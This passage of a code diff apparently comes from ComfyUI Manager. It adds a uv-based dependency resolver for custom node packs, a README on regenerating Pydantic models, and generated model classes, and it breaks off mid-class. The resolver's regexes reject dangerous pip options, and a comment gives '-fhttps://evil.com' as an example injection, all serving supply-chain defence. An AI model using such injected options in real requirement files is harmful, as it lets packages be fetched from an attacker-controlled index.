+    """pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
+    extra_index_urls: list[str] = field(default_factory=list)
+
+
+@dataclass
+class LockfileResult:
+    """Result of ``uv pip compile``."""
+    success: bool
+    lockfile_path: str | None = None
+    conflicts: list[str] = field(default_factory=list)
+    stderr: str = ""
+
+
+@dataclass
+class InstallResult:
+    """Result of ``uv pip install -r`` (atomic: all-or-nothing)."""
+    success: bool
+    installed: list[str] = field(default_factory=list)
+    skipped: list[str] = field(default_factory=list)
+    stderr: str = ""
+
+
+@dataclass
+class ResolveResult:
+    """Full pipeline result."""
+    success: bool
+    collected: CollectedDeps | None = None
+    lockfile: LockfileResult | None = None
+    install: InstallResult | None = None
+    error: str | None = None
+
+
+# ---------------------------------------------------------------------------
+# Resolver
+# ---------------------------------------------------------------------------
+
+_TMP_PREFIX = "comfyui_resolver_"
+
+# Security: reject dangerous requirement patterns at line start.
+# NOTE: This regex is intentionally kept alongside _INLINE_DANGEROUS_OPTIONS
+# because it covers ``@ file://`` via ``.*@\s*file://`` which relies on the
+# ``^`` anchor.  Both regexes share responsibility for option rejection:
+# this one catches line-start patterns; _INLINE_DANGEROUS_OPTIONS catches
+# options appearing after a package name.
+_DANGEROUS_PATTERNS = re.compile(
+    r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
+    r'|--find-links\b|-f\b|.*@\s*file://)',
+    re.IGNORECASE,
+)
+
+# Security: reject dangerous pip options appearing anywhere in the line
+# (supplements the ^-anchored _DANGEROUS_PATTERNS which only catches line-start).
+# The ``(?:^|\s)`` prefix prevents false positives on hyphenated package names
+# (e.g. ``re-crypto``, ``package[extra-c]``) while still catching concatenated
+# short-flag attacks like ``-fhttps://evil.com``.
+_INLINE_DANGEROUS_OPTIONS = re.compile(
+    r'(?:^|\s)(--find-links\b|--constraint\b|--requirement\b|--editable\b'
+    r'|--trusted-host\b|--global-option\b|--install-option\b'
+    r'|-f|-r|-e|-c)',
+    re.IGNORECASE,
+)
+
+# Credential redaction in index URLs.
+_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
+
+# Version-spec parsing (same regex as existing ``is_blacklisted()``).
+_VERSION_SPEC_PATTERN = re.compile(r'([^<>!~=]+)([<>!~=]=?)([^ ]*)')
+
+
+
+def collect_node_pack_paths(custom_nodes_dirs: list[str]) -> list[str]:
+    """Collect all installed node-pack directory paths.
+
+    Parameters
+    ----------
+    custom_nodes_dirs:
+        Base directories returned by ``folder_paths.get_folder_paths('custom_nodes')``.
+
+    Returns
+    -------
+    list[str]
+        Paths of node-pack directories (immediate subdirectories of each base).
+    """
+    paths: list[str] = []
+    for base in custom_nodes_dirs:
+        if os.path.isdir(base):
+            for name in os.listdir(base):
+                fullpath = os.path.join(base, name)
+                if os.path.isdir(fullpath):
+                    paths.append(fullpath)
+    return paths
+
+
+def collect_base_requirements(comfy_path: str) -> list[str]:
+    """Read ComfyUI's own base requirements as constraint lines.
+
+    Reads ``requirements.txt`` and ``manager_requirements.txt`` from *comfy_path*.
+    These are ComfyUI-level dependencies only — never read from node packs.
+
+    Parameters
+    ----------
+    comfy_path:
+        Root directory of the ComfyUI installation.
+
+    Returns
+    -------
+    list[str]
+        Non-empty, non-comment requirement lines.
+    """
+    reqs: list[str] = []
+    for filename in ("requirements.txt", "manager_requirements.txt"):
+        req_path = os.path.join(comfy_path, filename)
+        if os.path.exists(req_path):
+            with open(req_path, encoding="utf-8") as f:
+                reqs.extend(
+                    line.strip() for line in f
+                    if line.strip() and not line.strip().startswith('#')
+                )
+    return reqs
+
+
+class UnifiedDepResolver:
+    """Unified dependency resolver.
+
+    Resolves and installs all dependencies of (installed + new) node packs at
+    once using *uv*.
+
+    Parameters
+    ----------
+    node_pack_paths:
+        Absolute paths of node-pack directories to consider.
+    base_requirements:
+        Lines from ComfyUI's own ``requirements.txt`` (used as constraints).
+    blacklist:
+        Package names to skip unconditionally (default: ``cm_global.pip_blacklist``).
+    overrides:
+        Package-name remapping dict (default: ``cm_global.pip_overrides``).
+    downgrade_blacklist:
+        Packages whose installed versions must not be downgraded
+        (default: ``cm_global.pip_downgrade_blacklist``).
+    """
+
+    def __init__(
+        self,
+        node_pack_paths: list[str],
+        base_requirements: list[str] | None = None,
+        blacklist: set[str] | None = None,
+        overrides: dict[str, str] | None = None,
+        downgrade_blacklist: list[str] | None = None,
+    ) -> None:
+        self.node_pack_paths = node_pack_paths
+        self.base_requirements = base_requirements or []
+        self.blacklist: set[str] = blacklist if blacklist is not None else set()
+        self.overrides: dict[str, str] = overrides if overrides is not None else {}
+        self.downgrade_blacklist: list[str] = (
+            downgrade_blacklist if downgrade_blacklist is not None else []
+        )
+
+    # ------------------------------------------------------------------
+    # Public API
+    # ------------------------------------------------------------------
+
+    def resolve_and_install(self) -> ResolveResult:
+        """Execute the full pipeline: cleanup → collect → compile → install."""
+        self.cleanup_stale_tmp()
+
+        tmp_dir: str | None = None
+        try:
+            # 1. Collect
+            collected = self.collect_requirements()
+            if not collected.requirements:
+                logger.info("[UnifiedDepResolver] No dependencies to resolve")
+                return ResolveResult(success=True, collected=collected)
+
+            logger.info(
+                "[UnifiedDepResolver] Collected %d deps from %d sources (skipped %d)",
+                len(collected.requirements),
+                len(collected.sources),
+                len(collected.skipped),
+            )
+
+            # 2. Compile
+            lockfile = self.compile_lockfile(collected)
+            if not lockfile.success:
+                return ResolveResult(
+                    success=False,
+                    collected=collected,
+                    lockfile=lockfile,
+                    error=f"compile failed: {'; '.join(lockfile.conflicts)}",
+                )
+            # tmp_dir is the parent of lockfile_path
+            tmp_dir = os.path.dirname(lockfile.lockfile_path)  # type: ignore[arg-type]
+
+            # 3. Install
+            install = self.install_from_lockfile(lockfile.lockfile_path)  # type: ignore[arg-type]
+            return ResolveResult(
+                success=install.success,
+                collected=collected,
+                lockfile=lockfile,
+                install=install,
+                error=install.stderr if not install.success else None,
+            )
+        except UvNotAvailableError:
+            raise
+        except Exception as exc:
+            logger.warning("[UnifiedDepResolver] unexpected error: %s", exc)
+            return ResolveResult(success=False, error=str(exc))
+        finally:
+            if tmp_dir and os.path.isdir(tmp_dir):
+                shutil.rmtree(tmp_dir, ignore_errors=True)
+
+    # ------------------------------------------------------------------
+    # Step 1: collect
+    # ------------------------------------------------------------------
+
+    def collect_requirements(self) -> CollectedDeps:
+        """Collect dependencies from all node packs."""
+        requirements: list[PackageRequirement] = []
+        skipped: list[tuple[str, str]] = []
+        sources: defaultdict[str, list[tuple[str, str]]] = defaultdict(list)
+        extra_index_urls: list[str] = []
+
+        # Snapshot installed packages once to avoid repeated subprocess calls.
+        # Skip when downgrade_blacklist is empty (the common default).
+        installed_snapshot = (
+            manager_util.get_installed_packages()
+            if self.downgrade_blacklist else {}
+        )
+
+        for pack_path in self.node_pack_paths:
+            # Exclude disabled node packs (directory-based mechanism).
+            if self._is_disabled_path(pack_path):
+                continue
+
+            req_file = os.path.join(pack_path, "requirements.txt")
+            if not os.path.exists(req_file):
+                continue
+
+            for raw_line in self._read_requirements(req_file):
+                line = raw_line.split('#')[0].strip()
+                if not line:
+                    continue
+
+                # 0. Security: reject dangerous patterns
+                if _DANGEROUS_PATTERNS.match(line):
+                    skipped.append((line, f"rejected: dangerous pattern in {pack_path}"))
+                    logger.warning(
+                        "[UnifiedDepResolver] rejected dangerous line: '%s' from %s",
+                        line, pack_path,
+                    )
+                    continue
+
+                # 1. Separate --index-url / --extra-index-url handling
+                #    (before path separator check, because URLs contain '/')
+                #    URLs are staged but NOT committed until the line passes
+                #    all validation (prevents URL injection from rejected lines).
+                pending_urls: list[str] = []
+                if '--index-url' in line or '--extra-index-url' in line:
+                    pkg_spec, pending_urls = self._split_index_url(line)
+                    line = pkg_spec
+                    if not line:
+                        # Standalone option line (no package prefix) — safe
+                        extra_index_urls.extend(pending_urls)
+                        continue
+
+                # 1b. Reject dangerous pip options appearing after package name
+                #     (--index-url/--extra-index-url already extracted above)
+                if _INLINE_DANGEROUS_OPTIONS.search(line):
+                    skipped.append((line, f"rejected: inline pip option in {pack_path}"))
+                    logger.warning(
+                        "[UnifiedDepResolver] rejected inline pip option: '%s' from %s",
+                        line, pack_path,
+                    )
+                    continue
+
+                # Reject path separators in package name portion
+                pkg_name_part = re.split(r'[><=!~;]', line)[0]
+                if '/' in pkg_name_part or '\\' in pkg_name_part:
+                    skipped.append((line, "rejected: path separator in package name"))
+                    logger.warning(
+                        "[UnifiedDepResolver] rejected path separator: '%s' from %s",
+                        line, pack_path,
+                    )
+                    continue
+
+                # 2. Remap package name
+                pkg_spec = self._remap_package(line)
+
+                # 3. Extract normalised name
+                pkg_name = self._extract_package_name(pkg_spec)
+
+                # 4. Blacklist check
+                if pkg_name in self.blacklist:
+                    skipped.append((pkg_spec, "blacklisted"))
+                    continue
+
+                # 5. Downgrade blacklist check
+                if self._is_downgrade_blacklisted(pkg_name, pkg_spec,
+                                                  installed_snapshot):
+                    skipped.append((pkg_spec, "downgrade blacklisted"))
+                    continue
+
+                # 6. Collect (no dedup — uv handles resolution)
+                requirements.append(
+                    PackageRequirement(name=pkg_name, spec=pkg_spec, source=pack_path)
+                )
+                sources[pkg_name].append((pack_path, pkg_spec))
+
+                # Commit staged index URLs only after all validation passed.
+                if pending_urls:
+                    extra_index_urls.extend(pending_urls)
+
+        return CollectedDeps(
+            requirements=requirements,
+            skipped=skipped,
+            sources=dict(sources),
+            extra_index_urls=list(set(extra_index_urls)),
+        )
+
+    # ------------------------------------------------------------------
+    # Step 2: compile
+    # ------------------------------------------------------------------
+
+    def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
+        """Generate pinned requirements via ``uv pip compile``."""
+        tmp_dir = tempfile.mkdtemp(prefix=_TMP_PREFIX)
+
+        try:
+            # Write temp requirements
+            tmp_req = os.path.join(tmp_dir, "input-requirements.txt")
+            with open(tmp_req, "w", encoding="utf-8") as fh:
+                for req in deps.requirements:
+                    fh.write(req.spec + "\n")
+
+            # Write constraints (base dependencies)
+            tmp_constraints: str | None = None
+            if self.base_requirements:
+                tmp_constraints = os.path.join(tmp_dir, "constraints.txt")
+                with open(tmp_constraints, "w", encoding="utf-8") as fh:
+                    for line in self.base_requirements:
+                        fh.write(line.strip() + "\n")
+
+            lockfile_path = os.path.join(tmp_dir, "resolved-requirements.txt")
+
+            cmd = self._get_uv_cmd() + [
+                "pip", "compile",
+                tmp_req,
+                "--output-file", lockfile_path,
+                "--python", sys.executable,
+            ]
+            if tmp_constraints:
+                cmd += ["--constraint", tmp_constraints]
+
+            for url in deps.extra_index_urls:
+                logger.info(
+                    "[UnifiedDepResolver] extra-index-url: %s",
+                    self._redact_url(url),
+                )
+                cmd += ["--extra-index-url", url]
+
+            logger.info("[UnifiedDepResolver] running: %s", " ".join(
+                self._redact_url(c) for c in cmd
+            ))
+
+            try:
+                result = subprocess.run(
+                    cmd,
+                    capture_output=True,
+                    text=True,
+                    timeout=300,
+                )
+            except subprocess.TimeoutExpired:
+                logger.warning("[UnifiedDepResolver] uv pip compile timed out (300s)")
+                return LockfileResult(
+                    success=False,
+                    conflicts=["compile timeout exceeded (300s)"],
+                    stderr="TimeoutExpired",
+                )
+
+            if result.returncode != 0:
+                conflicts = self._parse_conflicts(result.stderr)
+                return LockfileResult(
+                    success=False,
+                    conflicts=conflicts,
+                    stderr=result.stderr,
+                )
+
+            if not os.path.exists(lockfile_path):
+                return LockfileResult(
+                    success=False,
+                    conflicts=["lockfile not created despite success return code"],
+                    stderr=result.stderr,
+                )
+
+            return LockfileResult(success=True, lockfile_path=lockfile_path)
+
+        except UvNotAvailableError:
+            shutil.rmtree(tmp_dir, ignore_errors=True)
+            raise
+        except Exception:
+            shutil.rmtree(tmp_dir, ignore_errors=True)
+            raise
+
+    # ------------------------------------------------------------------
+    # Step 3: install
+    # ------------------------------------------------------------------
+
+    def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
+        """Install from pinned requirements (``uv pip install -r``).
+
+        Do **not** use ``uv pip sync`` — it deletes packages not in the
+        lockfile, risking removal of torch, ComfyUI deps, etc.
+        """
+        cmd = self._get_uv_cmd() + [
+            "pip", "install",
+            "--requirement", lockfile_path,
+            "--python", sys.executable,
+        ]
+
+        logger.info("[UnifiedDepResolver] running: %s", " ".join(cmd))
+
+        try:
+            result = subprocess.run(
+                cmd,
+                capture_output=True,
+                text=True,
+                timeout=600,
+            )
+        except subprocess.TimeoutExpired:
+            logger.warning("[UnifiedDepResolver] uv pip install timed out (600s)")
+            return InstallResult(
+                success=False,
+                stderr="TimeoutExpired: install exceeded 600s",
+            )
+
+        installed, skipped_pkgs = self._parse_install_output(result)
+
+        return InstallResult(
+            success=result.returncode == 0,
+            installed=installed,
+            skipped=skipped_pkgs,
+            stderr=result.stderr if result.returncode != 0 else "",
+        )
+
+    # ------------------------------------------------------------------
+    # uv command resolution
+    # ------------------------------------------------------------------
+
+    def _get_uv_cmd(self) -> list[str]:
+        """Determine the ``uv`` command to use.
+
+        ``python_embeded`` spelling is intentional — matches the actual path
+        name in the ComfyUI Windows distribution.
+        """
+        embedded = 'python_embeded' in sys.executable
+
+        # 1. Try uv as a Python module
+        try:
+            test_cmd = (
+                [sys.executable]
+                + (['-s'] if embedded else [])
+                + ['-m', 'uv', '--version']
+            )
+            subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
+            return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv']
+        except Exception:
+            pass
+
+        # 2. Standalone uv executable
+        if shutil.which('uv'):
+            return ['uv']
+
+        raise UvNotAvailableError("uv is not available")
+
+    # ------------------------------------------------------------------
+    # Helpers — collection
+    # ------------------------------------------------------------------
+
+    @staticmethod
+    def _is_disabled_path(path: str) -> bool:
+        """Return ``True`` if *path* is within a ``.disabled`` directory."""
+        # New style: custom_nodes/.disabled/{name}
+        if '/.disabled/' in path or os.path.basename(os.path.dirname(path)) == '.disabled':
+            return True
+        # Old style: {name}.disabled suffix
+        if path.rstrip('/').endswith('.disabled'):
+            return True
+        return False
+
+    @staticmethod
+    def _read_requirements(filepath: str) -> list[str]:
+        """Read requirements file using ``robust_readlines`` pattern."""
+        return manager_util.robust_readlines(filepath)
+
+    @staticmethod
+    def _split_index_url(line: str) -> tuple[str, list[str]]:
+        """Split index-url options from a requirement line.
+
+        Handles lines with one or more ``--index-url`` / ``--extra-index-url``
+        options.  Returns ``(package_spec, [url, ...])``.
+
+        Examples::
+
+            "torch --extra-index-url U1 --index-url U2"
+            → ("torch", ["U1", "U2"])
+
+            "--index-url URL"
+            → ("", ["URL"])
+        """
+        urls: list[str] = []
+        remainder_tokens: list[str] = []
+
+        # Regex: match --extra-index-url or --index-url followed by its value
+        option_re = re.compile(
+            r'(--(?:extra-)?index-url)\s+(\S+)'
+        )
+
+        # Pattern for bare option flags without a URL value
+        bare_option_re = re.compile(r'^--(?:extra-)?index-url$')
+
+        last_end = 0
+        for m in option_re.finditer(line):
+            # Text before this option is part of the package spec
+            before = line[last_end:m.start()].strip()
+            if before:
+                remainder_tokens.append(before)
+            urls.append(m.group(2))
+            last_end = m.end()
+
+        # Trailing text after last option
+        trailing = line[last_end:].strip()
+        if trailing:
+            remainder_tokens.append(trailing)
+
+        # Strip any bare option flags that leaked into remainder tokens
+        # (e.g. "--index-url" with no URL value after it)
+        remainder_tokens = [
+            t for t in remainder_tokens if not bare_option_re.match(t)
+        ]
+
+        pkg_spec = " ".join(remainder_tokens).strip()
+        return pkg_spec, urls
+
+    def _remap_package(self, pkg: str) -> str:
+        """Apply ``pip_overrides`` remapping."""
+        if pkg in self.overrides:
+            remapped = self.overrides[pkg]
+            logger.info("[UnifiedDepResolver] '%s' remapped to '%s'", pkg, remapped)
+            return remapped
+        return pkg
+
+    @staticmethod
+    def _extract_package_name(spec: str) -> str:
+        """Extract normalised package name from a requirement spec."""
+        name = re.split(r'[><=!~;\[@ ]', spec)[0].strip()
+        return name.lower().replace('-', '_')
+
+    def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str,
+                                      installed: dict) -> bool:
+        """Reproduce the downgrade logic from ``is_blacklisted()``.
+
+        Uses ``manager_util.StrictVersion`` — **not** ``packaging.version``.
+
+        Args:
+            installed: Pre-fetched snapshot from
+                ``manager_util.get_installed_packages()``.
+        """
+        if pkg_name not in self.downgrade_blacklist:
+            return False
+
+        match = _VERSION_SPEC_PATTERN.search(pkg_spec)
+
+        if match is None:
+            # No version spec: prevent reinstall if already installed
+            if pkg_name in installed:
+                return True
+        elif match.group(2) in ('<=', '==', '<', '~='):
+            if pkg_name in installed:
+                try:
+                    installed_ver = manager_util.StrictVersion(installed[pkg_name])
+                    requested_ver = manager_util.StrictVersion(match.group(3))
+                    if installed_ver >= requested_ver:
+                        return True
+                except (ValueError, TypeError):
+                    logger.warning(
+                        "[UnifiedDepResolver] version parse failed: %s", pkg_spec,
+                    )
+                    return False
+
+        return False
+
+    # ------------------------------------------------------------------
+    # Helpers — parsing & output
+    # ------------------------------------------------------------------
+
+    @staticmethod
+    def _parse_conflicts(stderr: str) -> list[str]:
+        """Extract conflict descriptions from ``uv pip compile`` stderr."""
+        conflicts: list[str] = []
+        for line in stderr.splitlines():
+            line = line.strip()
+            if line and ('conflict' in line.lower() or 'error' in line.lower()):
+                conflicts.append(line)
+        return conflicts or [stderr.strip()] if stderr.strip() else []
+
+    @staticmethod
+    def _parse_install_output(
+        result: subprocess.CompletedProcess[str],
+    ) -> tuple[list[str], list[str]]:
+        """Parse ``uv pip install`` stdout for installed/skipped packages."""
+        installed: list[str] = []
+        skipped_pkgs: list[str] = []
+        for line in result.stdout.splitlines():
+            line_lower = line.strip().lower()
+            if 'installed' in line_lower or 'updated' in line_lower:
+                installed.append(line.strip())
+            elif 'already' in line_lower or 'satisfied' in line_lower:
+                skipped_pkgs.append(line.strip())
+        return installed, skipped_pkgs
+
+    @staticmethod
+    def _redact_url(url: str) -> str:
+        """Mask ``user:pass@`` credentials in URLs."""
+        return _CREDENTIAL_PATTERN.sub('://****@', url)
+
+    # ------------------------------------------------------------------
+    # Temp-file housekeeping
+    # ------------------------------------------------------------------
+
+    @classmethod
+    def cleanup_stale_tmp(cls, max_age_seconds: int = 3600) -> None:
+        """Remove stale temp directories from previous abnormal terminations."""
+        tmp_root = tempfile.gettempdir()
+        now = time.time()
+        for entry in os.scandir(tmp_root):
+            if entry.is_dir() and entry.name.startswith(_TMP_PREFIX):
+                try:
+                    age = now - entry.stat().st_mtime
+                    if age > max_age_seconds:
+                        shutil.rmtree(entry.path, ignore_errors=True)
+                        logger.info(
+                            "[UnifiedDepResolver] cleaned stale tmp: %s", entry.path,
+                        )
+                except OSError:
+                    pass
+
+
+def attribute_conflicts(
+    sources: dict[str, list[tuple[str, str]]],
+    conflicts: list[str],
+) -> dict[str, list[tuple[str, str]]]:
+    """Cross-reference conflict packages with their requesting node packs.
+
+    Uses word-boundary regex to prevent false-positive prefix matches
+    (e.g. ``torch`` does NOT match ``torchvision`` or ``torch_audio``).
+    """
+    conflict_text = "\n".join(conflicts).lower().replace("-", "_")
+    return {
+        pkg: reqs
+        for pkg, reqs in sources.items()
+        if re.search(
+            r'(?<![a-z0-9_])' + re.escape(pkg.lower().replace("-", "_")) + r'(?![a-z0-9_])',
+            conflict_text,
+        )
+    }

comfyui_manager/data_models/README.md

@@ -0,0 +1,68 @@
+# Data Models
+
+This directory contains Pydantic models for ComfyUI Manager, providing type safety, validation, and serialization for the API and internal data structures.
+
+## Overview
+
+- `generated_models.py` - All models auto-generated from OpenAPI spec
+- `__init__.py` - Package exports for all models
+
+**Note**: All models are now auto-generated from the OpenAPI specification. Manual model files (`task_queue.py`, `state_management.py`) have been deprecated in favor of a single source of truth.
+
+## Generating Types from OpenAPI
+
+The state management models are automatically generated from the OpenAPI specification using `datamodel-codegen`. This ensures type safety and consistency between the API specification and the Python code.
+
+### Prerequisites
+
+Install the code generator:
+```bash
+pipx install datamodel-code-generator
+```
+
+### Generation Command
+
+To regenerate all models after updating the OpenAPI spec:
+
+```bash
+datamodel-codegen \
+  --use-subclass-enum \
+  --field-constraints \
+  --strict-types bytes \
+  --use-double-quotes \
+  --input openapi.yaml \
+  --output comfyui_manager/data_models/generated_models.py \
+  --output-model-type pydantic_v2.BaseModel
+```
+
+### When to Regenerate
+
+You should regenerate the models when:
+
+1. **Adding new API endpoints** that return new data structures
+2. **Modifying existing schemas** in the OpenAPI specification  
+3. **Adding new state management features** that require new models
+
+### Important Notes
+
+- **Single source of truth**: All models are now generated from `openapi.yaml`
+- **No manual models**: All previously manual models have been migrated to the OpenAPI spec
+- **OpenAPI requirements**: New schemas must be referenced in API paths to be generated by datamodel-codegen
+- **Validation**: Always validate the OpenAPI spec before generation:
+  ```bash
+  python3 -c "import yaml; yaml.safe_load(open('openapi.yaml'))"
+  ```
+
+### Example: Adding New State Models
+
+1. Add your schema to `openapi.yaml` under `components/schemas/`
+2. Reference the schema in an API endpoint response
+3. Run the generation command above
+4. Update `__init__.py` to export the new models
+5. Import and use the models in your code
+
+### Troubleshooting
+
+- **Models not generated**: Ensure schemas are under `components/schemas/` (not `parameters/`)
+- **Missing models**: Verify schemas are referenced in at least one API path
+- **Import errors**: Check that new models are added to `__init__.py` exports

comfyui_manager/data_models/__init__.py

@@ -0,0 +1,137 @@
+"""
+Data models for ComfyUI Manager.
+
+This package contains Pydantic models used throughout the ComfyUI Manager
+for data validation, serialization, and type safety.
+
+All models are auto-generated from the OpenAPI specification to ensure
+consistency between the API and implementation.
+"""
+
+from .generated_models import (
+    # Core Task Queue Models
+    QueueTaskItem,
+    TaskHistoryItem,
+    TaskStateMessage,
+    TaskExecutionStatus,
+    
+    # WebSocket Message Models
+    MessageTaskDone,
+    MessageTaskStarted,
+    MessageTaskFailed,
+    MessageUpdate,
+    ManagerMessageName,
+    
+    # State Management Models
+    BatchExecutionRecord,
+    ComfyUISystemState,
+    BatchOperation,
+    InstalledNodeInfo,
+    InstalledModelInfo,
+    ComfyUIVersionInfo,
+    
+    # Import Fail Info Models
+    ImportFailInfoBulkRequest,
+    ImportFailInfoBulkResponse,
+    ImportFailInfoItem,
+    ImportFailInfoItem1,
+    
+    # Other models
+    OperationType,
+    OperationResult,
+    ManagerPackInfo,
+    ManagerPackInstalled,
+    SelectedVersion,
+    ManagerChannel,
+    ManagerDatabaseSource,
+    ManagerPackState,
+    ManagerPackInstallType,
+    ManagerPack,
+    InstallPackParams,
+    UpdatePackParams,
+    UpdateAllPacksParams,
+    UpdateComfyUIParams,
+    FixPackParams,
+    UninstallPackParams,
+    DisablePackParams,
+    EnablePackParams,
+    UpdateAllQueryParams,
+    UpdateComfyUIQueryParams,
+    ComfyUISwitchVersionParams,
+    QueueStatus,
+    ManagerMappings,
+    ModelMetadata,
+    NodePackageMetadata,
+    SnapshotItem,
+    Error,
+    InstalledPacksResponse,
+    HistoryResponse,
+    HistoryListResponse,
+    InstallType,
+    SecurityLevel,
+    RiskLevel,
+)
+
+__all__ = [
+    # Core Task Queue Models
+    "QueueTaskItem",
+    "TaskHistoryItem",
+    "TaskStateMessage",
+    "TaskExecutionStatus",
+    
+    # WebSocket Message Models
+    "MessageTaskDone",
+    "MessageTaskStarted",
+    "MessageTaskFailed",
+    "MessageUpdate",
+    "ManagerMessageName",
+    
+    # State Management Models
+    "BatchExecutionRecord",
+    "ComfyUISystemState",
+    "BatchOperation",
+    "InstalledNodeInfo",
+    "InstalledModelInfo",
+    "ComfyUIVersionInfo",
+    
+    # Import Fail Info Models
+    "ImportFailInfoBulkRequest",
+    "ImportFailInfoBulkResponse",
+    "ImportFailInfoItem",
+    "ImportFailInfoItem1",
+    
+    # Other models
+    "OperationType",
+    "OperationResult",
+    "ManagerPackInfo",
+    "ManagerPackInstalled",
+    "SelectedVersion",
+    "ManagerChannel",
+    "ManagerDatabaseSource",
+    "ManagerPackState",
+    "ManagerPackInstallType",
+    "ManagerPack",
+    "InstallPackParams",
+    "UpdatePackParams",
+    "UpdateAllPacksParams",
+    "UpdateComfyUIParams",
+    "FixPackParams",
+    "UninstallPackParams",
+    "DisablePackParams",
+    "EnablePackParams",
+    "UpdateAllQueryParams",
+    "UpdateComfyUIQueryParams",
+    "ComfyUISwitchVersionParams",
+    "QueueStatus",
+    "ManagerMappings",
+    "ModelMetadata",
+    "NodePackageMetadata",
+    "SnapshotItem",
+    "Error",
+    "InstalledPacksResponse",
+    "HistoryResponse",
+    "HistoryListResponse",
+    "InstallType",
+    "SecurityLevel",
+    "RiskLevel",
+]

comfyui_manager/data_models/generated_models.py

@@ -0,0 +1,577 @@
+# generated by datamodel-codegen:
+#   filename:  openapi.yaml
+#   timestamp: 2026-04-19T04:33:23+00:00
+
+from __future__ import annotations
+
+from datetime import datetime
+from enum import Enum
+from typing import Any, Dict, List, Optional, Union
+
+from pydantic import BaseModel, Field, RootModel
+
+
+class OperationType(str, Enum):
+    install = "install"
+    uninstall = "uninstall"
+    update = "update"
+    update_comfyui = "update-comfyui"
+    fix = "fix"
+    disable = "disable"
+    enable = "enable"
+    install_model = "install-model"
+
+
+class OperationResult(str, Enum):
+    success = "success"
+    failed = "failed"
+    skipped = "skipped"
+    error = "error"
+    skip = "skip"
+
+
+class TaskExecutionStatus(BaseModel):
+    status_str: OperationResult
+    completed: bool = Field(..., description="Whether the task completed")
+    messages: List[str] = Field(..., description="Additional status messages")
+
+
+class ManagerMessageName(str, Enum):
+    cm_task_completed = "cm-task-completed"
+    cm_task_started = "cm-task-started"
+    cm_queue_status = "cm-queue-status"
+
+
+class ManagerPackInfo(BaseModel):
+    id: str = Field(
+        ...,
+        description="Either github-author/github-repo or name of pack from the registry",
+    )
+    version: str = Field(..., description="Semantic version or Git commit hash")
+    ui_id: Optional[str] = Field(None, description="Task ID - generated internally")
+
+
+class ManagerPackInstalled(BaseModel):
+    ver: str = Field(
+        ...,
+        description="The version of the pack that is installed (Git commit hash or semantic version)",
+    )
+    cnr_id: Optional[str] = Field(
+        None, description="The name of the pack if installed from the registry"
+    )
+    aux_id: Optional[str] = Field(
+        None,
+        description="The name of the pack if installed from github (author/repo-name format)",
+    )
+    enabled: bool = Field(..., description="Whether the pack is enabled")
+
+
+class SelectedVersion(str, Enum):
+    latest = "latest"
+    nightly = "nightly"
+
+
+class ManagerChannel(str, Enum):
+    default = "default"
+    recent = "recent"
+    legacy = "legacy"
+    forked = "forked"
+    dev = "dev"
+    tutorial = "tutorial"
+
+
+class ManagerDatabaseSource(str, Enum):
+    remote = "remote"
+    local = "local"
+    cache = "cache"
+
+
+class ManagerPackState(str, Enum):
+    installed = "installed"
+    disabled = "disabled"
+    not_installed = "not_installed"
+    import_failed = "import_failed"
+    needs_update = "needs_update"
+
+
+class ManagerPackInstallType(str, Enum):
+    git_clone = "git-clone"
+    copy = "copy"
+    cnr = "cnr"
+
+
+class SecurityLevel(str, Enum):
+    strong = "strong"
+    normal = "normal"
+    normal_ = "normal-"
+    weak = "weak"
+
+
+class RiskLevel(str, Enum):
+    block = "block"
+    high_ = "high+"
+    high = "high"
+    middle_ = "middle+"
+    middle = "middle"
+
+
+class UpdateState(Enum):
+    false = "false"
+    true = "true"
+
+
+class ManagerPack(ManagerPackInfo):
+    author: Optional[str] = Field(
+        None, description="Pack author name or 'Unclaimed' if added via GitHub crawl"
+    )
+    files: Optional[List[str]] = Field(
+        None,
+        description="Repository URLs for installation (typically contains one GitHub URL)",
+    )
+    reference: Optional[str] = Field(
+        None, description="The type of installation reference"
+    )
+    title: Optional[str] = Field(None, description="The display name of the pack")
+    cnr_latest: Optional[SelectedVersion] = None
+    repository: Optional[str] = Field(None, description="GitHub repository URL")
+    state: Optional[ManagerPackState] = None
+    update_state: Optional[UpdateState] = Field(
+        None, alias="update-state", description="Update availability status"
+    )
+    stars: Optional[int] = Field(None, description="GitHub stars count")
+    last_update: Optional[datetime] = Field(None, description="Last update timestamp")
+    health: Optional[str] = Field(None, description="Health status of the pack")
+    description: Optional[str] = Field(None, description="Pack description")
+    trust: Optional[bool] = Field(None, description="Whether the pack is trusted")
+    install_type: Optional[ManagerPackInstallType] = None
+
+
+class InstallPackParams(ManagerPackInfo):
+    selected_version: Union[str, SelectedVersion] = Field(
+        ..., description="Semantic version, Git commit hash, latest, or nightly"
+    )
+    repository: Optional[str] = Field(
+        None,
+        description="GitHub repository URL (required if selected_version is nightly)",
+    )
+    pip: Optional[List[str]] = Field(None, description="PyPi dependency names")
+    mode: ManagerDatabaseSource
+    channel: ManagerChannel
+    skip_post_install: Optional[bool] = Field(
+        None, description="Whether to skip post-installation steps"
+    )
+
+
+class UpdateAllPacksParams(BaseModel):
+    mode: Optional[ManagerDatabaseSource] = None
+    ui_id: Optional[str] = Field(None, description="Task ID - generated internally")
+
+
+class UpdatePackParams(BaseModel):
+    node_name: str = Field(..., description="Name of the node package to update")
+    node_ver: Optional[str] = Field(
+        None, description="Current version of the node package"
+    )
+
+
+class UpdateComfyUIParams(BaseModel):
+    is_stable: Optional[bool] = Field(
+        True,
+        description="Whether to update to stable version (true) or nightly (false)",
+    )
+    target_version: Optional[str] = Field(
+        None,
+        description="Specific version to switch to (for version switching operations)",
+    )
+
+
+class FixPackParams(BaseModel):
+    node_name: str = Field(..., description="Name of the node package to fix")
+    node_ver: str = Field(..., description="Version of the node package")
+
+
+class UninstallPackParams(BaseModel):
+    node_name: str = Field(..., description="Name of the node package to uninstall")
+    is_unknown: Optional[bool] = Field(
+        False, description="Whether this is an unknown/unregistered package"
+    )
+
+
+class DisablePackParams(BaseModel):
+    node_name: str = Field(..., description="Name of the node package to disable")
+    is_unknown: Optional[bool] = Field(
+        False, description="Whether this is an unknown/unregistered package"
+    )
+
+
+class EnablePackParams(BaseModel):
+    cnr_id: str = Field(
